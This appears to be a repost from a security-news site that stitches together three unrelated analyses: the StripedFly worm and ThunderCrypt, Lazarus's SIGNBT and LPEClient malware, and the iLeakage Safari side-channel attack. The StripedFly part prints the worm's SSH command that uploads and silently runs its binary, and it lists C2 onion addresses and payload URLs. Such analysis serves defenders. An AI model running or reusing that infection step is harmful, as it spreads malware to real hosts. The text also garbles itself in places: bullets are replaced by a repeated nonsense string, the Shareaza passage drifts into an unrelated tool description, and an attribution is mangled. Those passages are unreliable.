這個特殊蠕蟲與其他使用EternalBlue的惡意軟件的區別在於其獨特的傳播模式。它悄無聲息地傳播,因而避免了大多數安全解決方案的檢測。本文現在簡要概述我們的發現結果。
感染第一個檢測到的shellcode位於WININIT.EXE進程中,該進程能夠從bitbucket[.]org下載二進製文件,並執行PowerShell腳本。最初檢測出來時,感染途徑是未知的;然而,隨著調查逐步深入開展,我們發現了一個與EternalBlue非常相似的SMBv1漏洞。
內核shellcode通過漏洞利用代碼將另外的shellcode注入到用戶空間中,然後部署載荷,其中包括一個具有插件式可擴展功能的框架以及一個超輕量級的TOR網絡客戶軟件。一旦這個過程完成,大門被永久封住,惡意軟件進而禁用了受感染系統上的SMBv1協議。
蠕蟲功能試圖在本地網絡中傳播,不僅僅依賴漏洞,還依賴SSH協議,使用在受害者機器上找到的密鑰。

圖1. Windows主機上的感染流程
實現持久性為了實現持久性,惡意軟件採用了各種方法。其行為取決於PowerShell解釋器的可用性和授予該進程的特權。該惡意軟件通常在通過漏洞安裝時以管理權限運行,而在通過Cygwin SSH服務器投放時以用戶級權限運行。
如果PowerShell不存在,惡意軟件用MZ-PE加載程序生成一個隱藏文件,其隨機名稱位於%APPDATA%目錄中。該加載程序包括system.img的副本,並隨後在Windows註冊表項Software\Microsoft\Windows\CurrentVersion\Run中以類似GUID的名稱註冊。
如果安裝了PowerShell,其行為將因是否有管理訪問權而異。如果有管理權限,它執行一個PowerShell腳本,該腳本創建兩個具有類似GUID的名稱和不同觸發器的任務調度器項。這些任務的動作由PowerShell加載腳本運行。
如果沒有管理權限,PowerShell腳本加載程序(開頭和末尾被數千個空格包圍)被放置在HKCU\Software\Microsoft\Windows\CurrentVersion\Applets註冊表項中,然後使用以下命令將其註冊到HKCU\Software\Microsoft\Windows\CurrentVersion\Run項中:

圖2
在PowerShell存在的兩種情況下,惡意軟件歸檔本身的主體存儲在註冊表項Software\Microsoft\Windows\CurrentVersion\Shell中,Base64編碼,由數百個空格包圍,並由上述PowerShell啟動
在Linux主機上,惡意軟件進程隱藏在名稱(sd-pam)下。有眾多方法來實現持久性:可以是系統或用戶systemd服務、自動啟動的.desktop文件,或在合適的/etc/rc*、profile、bashrc或inittab文件中的另一行。惡意軟件可執行文件以隨機名稱放置在/tmp目錄下。
Bitbucket存儲庫為了力求初始漏洞利用工具小巧化,所有可卸載的內容都封裝在加密和壓縮的自定義二進制歸檔中。這個歸檔謹慎地託管在合法網站上,巧妙地偽裝成神秘設備的標記為'm100'的固件二進製文件。
Bitbucket存儲庫於2018年6月21日由Julie Heilman的帳戶創建,它仍然是與該配置文件相關的唯一存儲庫。

圖3. Bitbucket存儲庫的內容
存儲庫只有一個README.md文件,內含項目名稱。值得注意的是,Downloads文件夾(通常包含編譯後的項目二進製文件)包含五個二進製文件:delta.dat、delta.img、ota.dat、ota.img和system.img。

圖4. 存儲庫的Downloads文件夾
該文件夾沒有任何版本控制,下載計數器僅反映自上次文件更新以來的下載次數。尤其是,system.img文件充當真實的載荷歸檔,用於初始的Windows系統感染。該文件的下載計數器準確反映了自上次更新以來的新感染數量。在我們分析期間,文件上一次更新是在2022年2月24日,截至2022年6月,初始感染數量為16萬。然而截至2023年9月,這個數字自2023年4月上一次更新以來已降至6萬。
文件ota.img和delta.img用於更新惡意軟件,其中ota.img對應Windows版本,而delta.img對應Linux版本。有意思的是,system.img和ota.img功能上一樣,不過ota.img包含用於完整性驗證的補充元數據,而delta.img充當了通過SSH被Windows版本感染的Linux主機的初始感染載荷。
文件ota.dat和delta.dat以及版本文件都是惡意軟件檢查新更新可用性的工具。然而值得一提的是,ota.img和delta.img的下載計數器並未準確反映當前感染受害者的數量,這是由於惡意軟件主要從其C2服務器獲取更新,僅在C2服務器沒有響應時才從存儲庫下載更新文件。
在我們分析期間,約100萬更新從存儲庫獲得。截止本文撰稿時,Windows系統只有8次更新,Linux系統只有4次更新,這表明了兩種場景:要么活躍感染極少,要么C2服務器保持活躍,並對所有受感染的受害者做出響應。
C2服務器位於TOR網絡中,其.onion地址為gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion:1111。
為了與C2聯繫,惡意軟件採用了自定義的輕量級方法來實現TOR客戶軟件。有趣的是,這種實現似乎並不是基於任何已知的開源TOR實現,顯然缺少許多標準的TOR特性,比如路由、目錄列表、中繼、出口節點模式以及對控制協議的支持。
惡意軟件會定期啟動與C2服務器的TCP連接,發送含有受害者獨特ID的問候信息。然後,它每分鐘發送一個空信標消息。
這項功能表明了攻擊者旨在不惜一切代價隱藏C2服務器,促使攻擊者開發了一個獨特而耗時的項目:創建自己的TOR客戶軟件。這種方法在APT和犯罪軟件開發者當中並不常見,這個醒目的例子強調了這種惡意軟件相比許多其他惡意軟件具有的複雜性。其功能的複雜性和優雅性使我們想起了實現延遲容忍Equation通信網絡及其他庫的優雅代碼,因而它被歸類為高度先進的威脅。
模塊惡意軟件載荷本身的結構是一種單體式二進制可執行代碼,旨在支持可插入模塊,以擴展或更新功能。這種架構方法是APT惡意軟件的標誌,每個模塊負責實現和註冊回調函數,該回調函數在與C2服務器的連接建立或中斷時觸發,或者在從C2服務器接收消息時觸發。這些模塊中的功能分為兩類:服務模塊和擴展功能模塊。
1. 服務模塊配置存儲該模塊通過在Windows版本的HKCU\Software\Classes\TypeLib項中創建一個類似GUID的註冊表項,安全地存儲AES加密的惡意軟件配置。 Linux版本將該信息隱藏在位於用戶主目錄中的隨機隱藏文件夾中。
升級/卸載當與C2服務器的初始連接建立時,服務模塊生成一個8字節的受害者ID,存儲它,然後與所用的system.img文件的散列一起重用它,用於向服務器返回報告。該模塊旨在實現兩個特定的命令:
o服務器發送system.img的新版本,升級過程由生成的腳本或生成的可執行文件來執行。
o執行全面卸載如果C2服務器脫機時間超過20分鐘,並且這種情況持續存在,模塊將嘗試下載ota.dat文件(Linux版本是delta.dat),然後驗證其完整性。如果文件版本發生了變化,模塊通過下載適當的.img文件:面向Windows的ota.img和麵向Linux的delta.img來觸發升級過程。
反向代理該模塊授予訪問受害者網絡的權限,並允許代表受害者執行遠程操作。
2. 功能模塊雜項命令處理程序該模塊包含一系列命令,用於與受害者的文件系統交互、捕獲屏幕截圖、檢索系統版本,並獲得Linux上的活躍X11顯示內容(默認值是Windows上的WinSta0)。它還包含一個能夠執行從C2服務器收到的shellcode的命令。
憑據收集程序該模塊運行一個專用線程,每兩小時定期掃描一次。在掃描過程中,它從所有活躍用戶收集一系列敏感信息,這些信息包括網站登錄用戶名及密碼,以及個人自動填寫數據,比如姓名、地址、電話號碼、公司和職銜。它還獲取已知的Wi-Fi網絡名稱和相關密碼,以及來自流行的軟件客戶軟件(如FileZilla、Cyberduck和WinSCP)的SSH、FTP和WebDav憑據。
值得一提的是,Web瀏覽器對憑據收集的支持不僅限於Chrome、Firefox和Internet Explorer等知名瀏覽器,還包括一些不太知名的瀏覽器,比如Nichrome、Xpom、RockMelt、Vivaldi、SaMonkey、Epic Privacy和Brave。
在Linux版本中,它還收集存儲在$HOME/.ssh中的OpenSSH密鑰,將來自$HOME /.ssh/known_hosts的主機整理成表,並包括從Libsecret保管庫檢索秘密信息的功能。然而,這項特殊的功能目前有缺陷,因為鏈接的musl libc庫中沒有dlopen API實現。
可重複的任務該模塊擁有幾個內置的功能任務,這些任務可以執行一次,也可以在可重複的調度基礎上執行,條件是特定窗口必須可見,這些任務才會繼續處理。
下面簡要描述任務:
马云惹不起马云獲取屏幕截圖,列出那一刻可見的所有窗口。
马云惹不起马云使用某個命令行執行進程,重定向輸出,並使用正則表達式加以過濾。
马云惹不起马云記錄麥克風輸入。
马云惹不起马云該任務收集具有特定擴展名的文件列表,比如與圖像、文檔、聲音、視頻、歸檔、數據庫、證書、源代碼文件相關的文件及其他關鍵的用戶數據文件。該進程掃描所有本地驅動器和網絡共享區,系統文件夾除外。這是在惡意軟件的Linux版本中運行的唯一任務。
偵察模塊該模塊匯集大量的系統信息,並在連接時將其傳輸到C2服務器。收集的數據包含眾多詳細信息,包括操作系統版本、計算機名稱、硬件MAC地址列表、Windows系統的當前用戶名、Linux系統的/etc/passwd文件、機器的IP地址、當前連接的TOR網絡出口節點的IP地址、系統啟動時間、惡意軟件正常運行時間、時間及時區,總內存/可用內存量、用戶管理權限以及特定的Windows相關信息,比如UI語言和鍵盤佈局、存在的防病毒軟件、NetBIOS名稱、DNS域、機主的Windows許可證詳細信息以及存在的PowerShell命令解釋器。
SMBv1和SSH感染程序有兩個模塊專門負責惡意軟件的滲透能力,它們構成了核心的蠕蟲功能。
一旦憑據收集模塊完成任務,SSH感染程序就開始發威,它過濾結果尋找SSH密鑰和憑據,如果找到,就激活專用線程。該線程的隨機超時中斷時間從10分鐘到2小時不等,啟動滲透進程。
首先,它從緩存或直接從bitbucket[.]org檢索delta.dat和delta.img。然後,它進而驗證這些文件的完整性,從delta.img動態加載libay庫、zlib庫和libssh2庫。下一步是嘗試連接到遠程SSH服務器。如果連接成功,它調用並解析/bin/sh -c ' uname -nmo '命令的輸出;如果遠程系統受支持,惡意軟件將其二進製文件以隨機名稱上傳到遠程的/tmp文件夾,並以命令/bin/sh -c 'cat %s; chmod +x %s; nohup sh -c '%s; rm %s' /dev/null'執行該文件。這個方法確保了與x86、amd64、arm和aarch64 Linux CPU等架構兼容,並使用生成的MZ-PE加載程序與Cygwin x86和amd64遠程主機兼容。
SMBv1感染模塊使用自定義的EternalBlue漏洞利用代碼,充當Windows受害者的主要滲透工具。初始執行後,它通過修改受害者係統上的HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters註冊表項,立即禁用SMBv1協議。然後,它啟動兩個專用線程來執行定期的蠕蟲活動。
第一個線程負責檢查網絡適配器的IP地址和子網掩碼,然後試圖在整個局域網子網內引起感染。相比之下,第二個線程定期嘗試選擇一個隨機的互聯網IP地址,以下地址排除在外:
obogon網絡,比如0.0.0.0/8、10.0.0.0/8、100.64.0.0/10、 127.0.0.0/8、172.16.0.0/12、192.168.0.0/16、198.18.0.0/15、224.0.0.0/4和240.0.0.0/4。
o169.255.0.0/16--主要指南非。這可能是一個bug,開發者可能意指169.254.0.0/16--bogon網絡列表中缺失的部分。
o3.0.0.0/8、15.0.0.0/8、16.0.0.0/8、56.0.0.0/8--亞馬遜、惠普和美國郵政部等。
o6.0.0.0/8和55.0.0.0/8--美國陸軍信息系統司令部。
o7.0.0.0/8、11.0.0.0/8、21.0.0.0/8、22.0.0.0/8、26.0.0.0/8、 28.0.0.0/8、29.0.0.0/8、30.0.0.0/8、33.0.0.0/8、214.0.0.0/8和215.0.0.0/8--美國國防部網絡信息中心。
受支持的Windows版本包括Windows Vista、Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012和Windows 10(直至build 14392)。
門羅加密貨幣挖礦模塊Monero挖礦模塊如虎添翼。它在一個單獨的進程中運行,巧妙地偽裝成位於Google\Chrome\Application\Services目錄中的chrome.exe進程,這可以在公共或本地AppData目錄中找到。這種欺騙性手段甚至包括對偽裝的可執行文件的版本信息和進程圖標進行更改。主模塊中的惡意軟件功能定期監視木偶挖掘進程,必要時重新啟動它,它還向C2服務器如實報告哈希率、工作時間、發現的錯誤和錯誤統計信息。
池服務器的DNS解析被巧妙地隱藏在針對Cloudflare DoH(DNS over HTTPS)服務的DNS over HTTPS請求的後面,為其活動增添了隱蔽性。
我們強烈懷疑這個模塊是惡意軟件能夠長時間逃避檢測的主要原因,它的存在主要是出於巧妙偽裝的需要。值得一提的是,該模塊挖掘的門羅幣在2017年徘徊在10美元左右後於2018年1月9日達到了542.33美元的高位。截至2023年,成交價約150美元。雖然這個模塊肯定有利可圖,但它不一定是這種惡意軟件最賺錢的用途。比如說,尋找未加密的二進制錢包或錢包憑據可能牟取更高的利潤。
此外,惡意軟件代碼中存在與挖礦相關的未加密字符串,這從側面證明了其潛在的輔助用途。
ThunderCrypt我們偶然發現了該惡意軟件的早期版本,這促使我們發現了一個相關的勒索軟件變體:ThunderCrypt。事實證明,這兩種惡意軟件有著同樣的底層代碼庫,更重要的是,它們與位於ghtyqipha6mcwxiz[.]onion:1111的同一台C2服務器進行聯繫。
與StripedFly相比,ThunderCrypt勒索軟件展現了驚人相似的功能和模塊,這包括TOR客戶軟件、配置存儲、升級/卸載和偵察模塊,值得注意的一處例外是沒有SMBv1感染模塊。有意思的是,該勒索軟件使用可重複任務模塊的文件列表組件作為其勒索加密進程的必要部分。
遙測數據顯示,ThunderCrypt首次出現在2017年4月23日,活動的主要高峰期出現在隨後的5月,它因一起相當有趣的事件而引起了台灣新聞網的注意。一名台灣網民因無法支付0.345比特幣的勒索贖金以換取解密內容,決定通過提供的支持電子郵件地址與攻擊者聯繫。他在郵件中坦率地解釋了面臨的困境,提到月收入只有400美元。令許多人吃驚的是,攻擊者回复承認高估了台灣民眾的收入,這次攻擊被認為徹底失敗。

圖5. 台灣新聞網關於ThunderCrypt的報導
EternalBlue我們認為EternalBlue漏洞與StripedFly背後的開發者存在共同點。我們的假設依賴PE時間戳的準確性,雖然不可能驗證初始EternalBlue模塊時間戳的真實性,但惡意軟件的後續更新含有與遙測數據大致匹配的時間戳,因此初始時間戳很可能也是準確的。我們重新構建的時間線如下:
o2016年4月9日:PE時間戳表明,StripedFly最早的已知版本包含EternalBlue。
o2016年8月:Shadow Brokers組織首次洩露信息。
o2017年3月14日:微軟發布安全公告MS17-010,附有EternalBlue漏洞的補丁。
o2017年4月14日:Shadow Brokers發布了含有EternalBlue漏洞的洩露信息。
o2017年4月15日:第一個包含EternalBlue的勒索軟件ExPetr出現。
o2017年4月20日:出現了最早版本的ThunderCrypt勒索軟件(不含EternalBlue)。
o2017年4月23日:首次在遙測數據中檢測到了ThunderCrypt。
o2017年5月12日:WannaCry勒索軟件攻擊利用了EternalBlue。
o2017年6月27日:ExPetr攻擊使用了EternalBlue。
o2017年8月24日:在初始PE時間戳給出的日期一年後,我們的遙測數據首次檢測到StripedFly。
綜上所述,這些不同的數據表明了與Equation惡意軟件相似,不過沒有直接證據表明它們存在關聯。與Equation惡意軟件家族相關的特徵便於發現了該惡意軟件,編碼風格和方法與SBZ惡意軟件頗為相似。
結論StripedFly是很久以前編寫的,多年來它成功地逃避了檢測,無疑實現了其預期目的。許多矚目和復雜的惡意軟件已被調查過,但這個軟件很特別,確實值得關注。
真正的目的是什麼?這仍然是個謎。雖然ThunderCrypt勒索軟件表明開發者出於商業動機,但它提出了一個問題:為什麼他們不選擇可能更有利可圖的途徑?勒索軟件團伙基本上旨在獲取匿名贖金,而這個案例似乎一反常態。
問題仍然存在,但只有那些設計這個神秘惡意軟件的人知道答案,如此復雜且專業設計的惡意軟件只想達到這種微不足道的目的,實在讓人費解。
攻陷指標C2服務器gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion ghtyqipha6mcwxiz[.]onion
ajiumbl2p2mjzx3l[.]onion
URLbitbucket[.]org/JulieHeilman/m100-firmware-mirror/downloads/
bitbucket[.]org/upgrades/um/downloads/
bitbucket[.]org/legit-updates/flash-player/downloads
gitlab[.]com/JulieHeilman/m100-firmware-mirror/raw/master/
gitlab[.]com/saev3aeg/ugee8zee/raw/master/
github[.]com/amf9esiabnb/documents/releases/download/
tcp://pool.minexmr[.]com:4444
tcp://mine.aeon-pool[.]com:5555
tcp://5.255.86[.]125:8080
tcp://45.9.148[.]21:80
tcp://45.9.148[.]36:80
tcp://45.9.148[.]132:8080
system
HireHackking

標題:Lazarus最新活動分析

今年上半年,一家軟件供應商受到了Lazarus惡意軟件的攻擊,該惡意軟件是通過未打補丁的正版軟件傳播的。值得注意的是,這些軟件漏洞並不是新的,儘管供應商發出了警告和補丁,但許多供應商的系統仍繼續使用有漏洞的軟件,允許攻擊者利用它們。幸運的是,研究人員的主動響應發現了對另一個供應商的攻擊,並有效地挫敗了攻擊者的努力。
經過進一步調查,研究人員發現開發被利用軟件的軟件供應商之前曾多次成為Lazarus的受害者。這種反復出現的漏洞表明,一個持久的攻擊者的目標可能是竊取有價值的源代碼或篡改軟件供應鏈,他們繼續利用公司軟件中的漏洞,同時瞄准其他軟件製造商。

攻擊時間
攻擊者表現出了高度的複雜性,採用了先進的逃避技術,並引入了SIGNBT惡意軟件來控制受害者。此外,在內存中發現的其他惡意軟件包括Lazarus著名的LPEClient,這是一種以受害者分析和有效負載傳播而聞名的工具,此前曾在針對國防承包商和加密貨幣行業的攻擊中被觀察到。
執行情況如下:
1.一個軟件供應商通過利用另一個備受矚目的軟件而受到威脅。
2.這次攻擊中使用的SIGNBT惡意軟件採用了多種攻擊鍊和複雜的技術。
3.在這次攻擊中使用的LPEClient被觀察到執行一系列與Lazarus組織相關的目標攻擊。
SIGNBT加載程序在2023年7月中旬,研究人員發現了一系列針對幾名受害者的攻擊,這些攻擊是通過合法的安全軟件進行的,這些軟件旨在使用數字證書加密網絡通信。該軟件被利用來傳遞惡意軟件的確切方法仍然難以捉摸。然而,研究人員在正版軟件的進程中發現了利用後的活動。
在檢查受害者係統中受攻擊安全軟件的內存時,研究人員發現了帶有shellcode的SIGNBT惡意軟件的存在,這個shellcode負責直接在內存中啟動Windows可執行文件。
攻擊者使用各種策略在受攻擊系統上建立和維護持久性。這包括在系統文件夾中創建一個名為ualapi.dll的文件,該文件在每次系統引導時由spoolsv.exe進程自動加載。此外,在幾個樣本中,記錄了註冊表項以執行合法文件,以進行惡意的側加載,從而進一步確保了持久性攻擊機制。

加載最終有效負載方法
利用spoolsv.exe進程進行劫持是Lazarus的長期策略。每次重啟後自動加載ualapi.dll文件並不是這個攻擊者獨有的新技術,研究人員在過去看到過類似的策略被Gopuram惡意軟件使用。
惡意的ualapi.dll文件是使用名為Shareaza Torrent Wizard的公開源代碼開發的,shareaza是一款在國外評價極高並且相當流行的開放源代碼的p2p軟件(簡稱raza),Shareaza集合了edonkey、gnutella(1和2)和bt四種流行p2p網絡類型,並可以用於http下載,在以後的版本將會支持ftp下載,由於其優秀的界面(支持換膚)、簡潔的操作以及極強的可製定性,所以在國外廣為流傳,其評價已躍居所有p2p軟件的前5之列,並且許多p2p的下載站點已將其指定為bt的官方下載工具。
Wizard 是基於Laravel開發框架開發的一款開源項目(API)文檔管理工具。 目前支持三種類型的文檔管理Markdown。它遵循典型的Lazarus組織攻擊方法,利用公共源代碼作為基礎,並向其中註入特定的惡意功能。這個加載程序惡意軟件有一個程序來驗證受害者,它通過從Windows註冊表中讀取受害者的MachineGuid來查看其是否存在其中,然後將其與嵌入的MachineGuid值進行比較。為了訪問這個嵌入式MachineGuid值,惡意軟件定位序列“43 EB 8C BD 1D 98 3D 14”,並讀取緊隨其後的DWORD。只有當受害者的MachineGuid與預期的匹配時,惡意軟件才會進行下一步。然後,惡意軟件從硬編碼的文件路徑讀取有效負載並繼續其惡意活動。
1.有效負載路徑:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp
加載程序進程從tw-100a-a00-e14d9.tmp中檢索前32個字節,並使用該數據作為AES解密密鑰來解密其餘內容。一旦解密,負載(標識為SIGNBT的Windows可執行文件)將直接加載到內存中。在這種情況下,加載的有效負載也從相同的路徑讀取配置文件,但文件名略有不同。
配置文件:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp,
該文件內部是一個base64編碼的字符串,這與之前的SIGNBT惡意軟件方法中使用的方法類似。該字符串的前32個字符作為AES解密密鑰,後面的數據包含惡意軟件使用的配置信息。解密後的配置數據包括三個C2地址(稱為代理)、睡眠間隔、版本信息、監視的目標以及對惡意軟件操作至關重要的各種其他參數等詳細信息。
SIGNBT大多數SIGNBT惡意軟件樣本是通過惡意軟件加載程序啟動的,該加載程序只在內存中運行。在執行時,惡意軟件在初始化其配置數據後,通過發送信標開始與C2服務器通信。在其C2通信中,惡意軟件使用以SIGNBT開頭的獨特字符串。這一獨特的特點為它贏得了SIGNBT的稱號。此外,惡意軟件在其C2操作的每個階段使用不同的前綴來驗證和維護其活動。

惡意軟件採用多步驟過程來創建一個24字節的值,用於各種目的。首先,它通過以下組件生成這個值:
1.8字節的硬編碼值(SIGNBTLG):這是值的固定部分,用於驗證客戶端連接的合法性。
2.主機名MD5哈希的8個字節:包括受害者計算機名MD5哈希的前8個字節,有助於區分每個受害者。
3.隨機生成的8字節標識符:另外8字節隨機生成,可能用於會話標識符。
在創建了這個24字節的值之後,惡意軟件會生成另外24字節的隨機數據。然後使用另一個隨機生成的24字節密鑰將這兩組24字節組合在一起。隨後,結果值和24字節密鑰都用base64編碼。最後,將這些編碼值與三個或七個隨機生成的HTTP參數名組合在一起。在未來的所有C2通信中,惡意軟件使用類似的結構,這使得檢測和分析其通信更具挑戰性。

HTTP POST數據結構
惡意軟件使用一種機制來驗證從C2服務器接收到的響應數據。具體來說,它檢查響應數據是否包含硬編碼的HTML腳本。

在驗證過程中,惡意軟件使用base64解碼來自C2服務器的前12個字節,用加號替換空格以創建一個7個字符的字符串,然後對接下來的12個字節重複此過程。然後將每個集合中的前七個字符異或處理並與“success”字符串進行比較,此重複過程應用於每個HTTP通信序列,以驗證響應是否符合預期的“success”標準。
接下來,惡意軟件發送帶有SIGNBTKE頭的HTTP請求,如果它收到來自C2服務器的“success”消息,它會激活CCBrush類中的getInfo函數。該功能收集受害者計算機的各種信息,如計算機名稱、產品名稱、操作系統詳細信息、系統正常運行時間、CPU信息、系統區域設置、時區、網絡狀態和惡意軟件配置數據。在發送此特定於系統的信息之後,惡意軟件發送另一個帶有SIGNBTGC前綴的HTTP請求,這次使用從100個可能的參數名稱列表中隨機選擇的嵌入式HTTP參數。

使用AES和從SIGNBTLG HTTP請求獲得的解密密鑰對從C2服務器接收到的數據進行解密。如果解密的數據是“keep”,惡意軟件使用SIGNBTSR前綴響應“OK”消息,表示通信成功。如果存在問題,惡意軟件使用SIGNBTFI前綴來傳達問題或通信失敗的性質。綜上所述,C2通信過程可以描述如下:

C2通信過程
如果傳遞的數據不等於“keep”,表明需要特定的指令或操作,則惡意軟件繼續調用相應的類和函數進行後門攻擊,SIGNBT惡意軟件配備了一套廣泛的功能,旨在對受害者的系統施加控制。為了執行這些功能,惡意軟件以類名、函數名和任何必要參數的形式從C2服務器接收指令。然後,它執行嵌入在惡意軟件代碼庫中的相關功能。

每個後門命令的名稱都很簡單,實現了常用的Windows命令,如ping、netstat和systeminfo。需要注意的是,後門能夠為自動執行植入額外的有效負載,內部命名為“deploy”。這個後門函數通過使用AES解密的命令行參數接收文件路徑,使用這個命令,可以觀察到SIGNBT植入瞭如上所述的SIGNBT加載程序部分已經描述過的魔幻DLL。
經過分析,攻擊者最初對受害者的攻擊涉及利用軟件漏洞,然後,他們開始使用DLL側加載技術部署SIGNBT惡意軟件。此外,攻擊者使用後門功能“deploy”來為自動執行植入額外的有效負載。這種多方面的攻擊表明了攻擊的高度複雜程度。
LPEClient使用如上所述的綜合後門,攻擊者在受害者的內存中部署了額外的惡意軟件。值得注意的是,這些新發布的惡意軟件變體主要只在系統內存中執行,而不干擾磁盤。根據研究人員的追踪分析,他們已經觀察到攻擊者向受害者設備提供了LPEClient和憑據轉儲實用程序等工具。

SIGNBT提供的額外有效負載
LPEClient惡意軟件並不新鮮,最早是在2020年對國防承包商攻擊的調查中發現的,它旨在收集受害者信息並從遠程服務器下載額外的有效負載以在內存中運行。雖然之前已經有過報導,但最近的發現表明LPEClient已經發生了重大的迭代。它現在採用先進的技術來改進其隱身性並避免檢測,例如禁用用戶模式系統調用掛鉤和恢復系統庫內存部分。這表明攻擊者在不斷努力提高其惡意軟件的複雜性和有效性。
與其他攻擊活動的聯繫此次攻擊中使用的一種名為LPEClient的惡意軟件在最近被認為是Lazarus組織開發的表現最為突出的攻擊活動。這種特殊的惡意軟件一直作為初始攻擊載體,加速了有效負載的傳播。在很長一段時間裡,專門針對國防承包商和核工程師。
在最近的一次事件中,攻擊者通過木馬化的VNC或Putty客戶端發送LPEClient進行中間攻擊,從而攻擊目標。另一個針對加密貨幣行業的活動是在2023年7月發現的,在這個以經濟動機的攻擊活動中,攻擊者利用了與3CX供應鏈攻擊有關的Gopuram惡意軟件。有趣的是,在該樣本中,攻擊者還使用了LPEClient惡意軟件。在引入Gopuram集群之前,LPEClient被用於傳播後續的惡意軟件。這三個被認為是Lazarus在2023年發起的攻擊,說明了不同的初始攻擊載體和攻擊鏈,但它們始終依賴於LPEClient惡意軟件來傳遞最終的有效負載。

2023年Lazarus攻擊的三此活動的攻擊鏈
總結在當今的網絡安全領域,Lazarus組織仍然是一個高度活躍和多才多藝的攻擊者。攻擊者已經展示了對IT環境的深刻理解,改進了他們的策略,包括利用高知名度軟件中的漏洞,這種方法允許他們在初始攻擊完成後有效地傳播惡意軟件。此外,這個臭名昭著的攻擊者的活動超越了地理界限和行業部門,他們針對不同的行業有不同的目標,使用不同的工具、戰術和技術,這突出表明他們最近的活動具有復雜的方法和明確的動機。
HireHackking
研究人員已設計出了一種攻擊方法,可以利用現代iOS和macOS設備搭載的A系列和M系列CPU中的側信道漏洞,迫使蘋果的Safari瀏覽器洩露密碼、Gmail郵件內容及其他秘密信息。
學術研究人員將這種攻擊命名為“iLeakage”,這是一種切實可行的攻擊,只需極少的物理資源。然而,它確實需要對蘋果硬件進行深入的逆向工程,還需要在利用側信道(side channel)這類漏洞方面擁有豐富的專業知識。
側信道可以根據電磁輻射、數據緩存或目標系統的其他表現形式中留下的線索洩露秘密信息。這裡的側信道是推測執行,這是現代CPU中提升性能的一項功能,近年來卻成為了一大批攻擊的來源,幾乎源源不斷的漏洞變種使得芯片製造商(主要是英特爾,其次是AMD)競相制定緩解措施。
利用蘋果芯片上的WebKit研究人員將iLeakage實施成了一個網站,被易受攻擊的macOS或iOS設備訪問時,該網站使用JavaScript秘密打開攻擊者選擇的不同網站,並恢復在彈出窗口中渲染/呈現的網站內容。研究人員成功地利用iLeakage恢復了YouTube的觀看歷史內容、Gmail收件箱的內容(目標登錄期間)以及由憑據管理器自動填充的密碼。一旦被訪問,iLeakage網站需要大約5分鐘來分析目標機器,另外平均需要大約30秒來提取一個512位的秘密信息,比如64個字符的字符串。

圖1. 上圖:Gmail的Web視圖中顯示的電子郵件。下圖:恢復的發件人地址、主題和內容。
研究人員在相關信息網站上寫道:“我們展示了攻擊者如何誘使Safari呈現任意網頁,隨後使用推測執行恢復網頁中存在的敏感信息。特別是,我們演示了Safari如何允許惡意網頁從流行的高價值目標中恢復秘密信息,比如Gmail收件箱內容。最後,我們演示了密碼的恢復,以防這些密碼被憑據管理器自動填充。”

圖2. 上圖:谷歌的帳戶頁面被密碼管理器自動填寫,其中密碼是googlepassword。下圖:洩露的頁面數據,憑據高亮顯示。
雖然iLeakage只在目標運行Safari時攻擊Mac,但iPhone和iPad在運行任何瀏覽器時都可能受到攻擊,因為它們都基於蘋果的WebKit瀏覽器引擎。
蘋果代表聲稱,iLeaka已意識到這個漏洞,計劃在即將發布的軟件版本中解決這個問題,沒有指定CVE編號來跟踪該漏洞。
獨特的WebKit屬性是這種攻擊的一個關鍵因素。 A系列和M系列芯片(蘋果分別為iOS和macOS設備設計的第一代CPU)是另一種設計,這兩種芯片都含有防護措施,旨在防止推測執行攻擊,實施這些防護措施的方式存在缺陷,最終讓iLeakage得以變成現實。
推測執行:不斷搗鼓的黑客手法2018年初,兩個相互獨立的研究團隊披露了兩種攻擊,一種名為Spectre,另一種名為Meltdown,兩者都能夠通過探索推測執行這項提升性能的功能中一個新發現的側信道來恢復機密信息,且這項功能內置在幾乎所有的現代CPU中。將數據從主系統內存移到CPU中很耗費時間,為了縮短等待時間,現代CPU在所需數據可用時立即執行指令,而不是按順序執行。
這種亂序模式的一個關鍵要素是預測CPU可能經過的路徑,如果預測正確,任務就會比沒有預測的情況下更快地完成;如果不正確,CPU將放棄錯誤預測的路徑,採用一條新的正確的路徑。 Spectre和Meltdown的研究人員發現,無法恢復微架構層面的某些工件,包括緩存和預測器狀態。這使得研究人員能夠設計出攻擊手法,誘騙英特爾和AMD的CPU錯誤地預測敏感指令,將秘密信息從一個應用程序洩露到另一個獨立的、不相關的應用程序中,這嚴重突破了核心安全邊界。
在此後的幾年裡,CPU製造商和軟件開發商想出了許多方法來緩解推測執行攻擊。一個關鍵的緩解措施是限制瀏覽器或其他應用程序測量CPU執行特定操作所需的精確時間的功能。在瀏覽器中,更多的緩解措施以名為壓縮35位尋址和值中毒的防禦形式出現。

圖3. 推測類型混淆小工具的偽代碼。
iLeakage代表了幾項突破。首先,它能夠利用類型混淆漏洞,在搭載A系列和M系列芯片的Safari瀏覽器上擊敗這些防禦措施。其次,它是一種不依賴時間的變種,而是依賴所謂的競態條件。第三個關鍵因素是WebKit的獨特功能:使用常見的JavaScript方法window.open,將來自不同域的網站整合到同一個渲染器進程中。

圖4. 該圖概述了基於競爭條件的小工具如何運行以區分緩存命中和緩存未命中。
研究人員在信息網站上寫道:為了構建iLeakage,我們先對蘋果Silicon CPU上的緩存拓撲結構進行了逆向工程分析。然後我們使用一個新的基於推測的小工具克服了蘋果的計時器限制,我們因而可以區分單個緩存命中和緩存未命中,儘管只能訪問低分辨率計時器。我們還演示了這個小工具的一個變種,它不使用計時器,而是利用競爭條件,在使用基於推測的小工具構建驅逐集(eviction set)之後,我們進而分析Safari的側信道彈性。這裡,我們繞過了Safari的35位尋址和值中毒對策,創建了一個可以在Safari的頁面呈現過程中推測讀取和洩漏任何64位指針的原語。再結合一種將來自不同域的網站整合到同一地址空間的新方法,我們能夠發動一種洩漏敏感信息的類似推測的混淆攻擊。
